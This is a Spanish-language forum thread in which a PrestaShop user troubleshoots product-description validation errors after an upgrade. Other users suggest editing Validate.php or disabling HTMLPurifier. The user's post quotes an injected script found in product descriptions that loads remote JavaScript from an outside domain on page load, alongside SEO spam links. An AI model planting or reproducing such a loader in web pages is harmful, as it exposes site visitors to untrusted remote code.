JoséManuelOrallo Posted June 1, 2017 Share Posted June 1, 2017 Buenos días He actualizado la web de un familiar que la tenía muy abandonada de prestashop 1.5.4.0 a prestshop 1.6.1.13 para luego instalar un tema nuevo y corregir algunas categorías y algunos productos que estaban mal. La actualice con módulo “Actualización 1-Click.” Ya en la versión nueva al intentar modificar los artículos me da este error: El campo description (Español (Spanish)) no es válido. El campo description_short (Español (Spanish)) no es válido. Por lo poco que sé y he leído el error se corrige activando: “Permite iframes en los campos HTML” pero en este caso no funciona y ya estaba activado. Creo que el error se produce porque en la descripción de muchos artículos hay un script incrustado que no hay forma de borrarlo. En la descripción de uno de los artículos me encuentro esto !tzalist Shopping Directory Añadir url al directorio Y en el código fuente <p>Le ofrecemos todo el servicio que usted pueda necesitar en porteros automaticos, tanto empotrados como de superficie. Venta, instalación y mantenimiento. Estamos su servicio.</p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p><strong><span style="font-size: medium;"> </span></strong></p> <script id="FoxLingoJs">// <![CDATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);[spam-filter]; header.appendChild(script);} catch(e) {[spam-filter])(); // ]]></script> <p><span style="font-size: 10pt;"> </span></p> <p><a href="http://www.itzalist.com/shopping.html">!tzalist Shopping Directory</a></p> <p><a title="Free web directory" href="http://directory.seo-supreme.com" target="_blank"><img style="border: 0px;" src="http://directory.seo-supreme.com/img/logo_80x15.gif" alt="Free web directory" /></a></p> <p><a title="Add url para directory" href="http://directory.seo-supreme.com" target="_blank"> Añadir url al directorio </a></p> En la descripción corta: <p><strong>Porteros automaticos tanto empotrados como de superficie Venta instalación y mantenimiento</strong></p> <script id="FoxLingoJs">// <![CDATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);[spam-filter]; header.appendChild(script);} catch(e) {[spam-filter])(); // ]]></script> Al eliminarlo se quita el error El campo description (Español (Spanish)) no es válido. El campo description_short (Español (Spanish)) no es válido. Pero me sale otro Property Product->description is not valid No hay forma de modificar nada, Cree un clon de la web para ya en el tema nuevo, para probar las soluciones que me encuentro en los foros pero no he podido solucionarlo. Después de una de las modificaciones ya ni me funciona el clon. Lo que solo era actualizarla con un tema nuevo y dejársela preparada se ha convertido en verdadero dolor de cabeza, podría restaurarla con un backup a la versión anterior pero por lo que me comentan tampoco podían modificar los artículos antes. Gracias y perdón por la parrafada. Un saludo. José Manuel Link to comment Share on other sites More sharing options...
Sergio Ruiz Posted June 1, 2017 Share Posted June 1, 2017 Lo del error de los script, mira ver esto: https://mypresta.eu/en/art/prestashop-16/extended-rich-text-editor.html Link to comment Share on other sites More sharing options...
JoséManuelOrallo Posted June 1, 2017 Author Share Posted June 1, 2017 Gracias por contestar El script lo puedo eliminar pero luego sale el otro error “Property Product->description is not valid” y como no deja guardar los cambios al actualizar sigue el script. Link to comment Share on other sites More sharing options...
Sergio Ruiz Posted June 1, 2017 Share Posted June 1, 2017 Gracias por contestar El script lo puedo eliminar pero luego sale el otro error “Property Product->description is not valid” y como no deja guardar los cambios al actualizar sigue el script. En el enlace que te he pasado si haces lo de la clase Validate.php que dice el enlace que te he pasado. ¿Te sale el mismo error al quitar el script y pulsar en guardar? Si quieres cargarte todas las descripcion de los productos de golpe siempre puedes hacer un update sobre los campos en cuestion en la tabla ps_product_lang en la base de datos tambien... Link to comment Share on other sites More sharing options...
JoséManuelOrallo Posted June 1, 2017 Author Share Posted June 1, 2017 Hice los dos pasos y no cambia nada, sale el mismo error Link to comment Share on other sites More sharing options...
nadie Posted June 1, 2017 Share Posted June 1, 2017 Hice los dos pasos y no cambia nada, sale el mismo error Ademas de lo que te dice Sergio Ruiz, en la pestaña Preferencias -> Configuración ¿Has desactivado la opción: Usar la librería HTMLPurifier ? Adjunto Captura Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now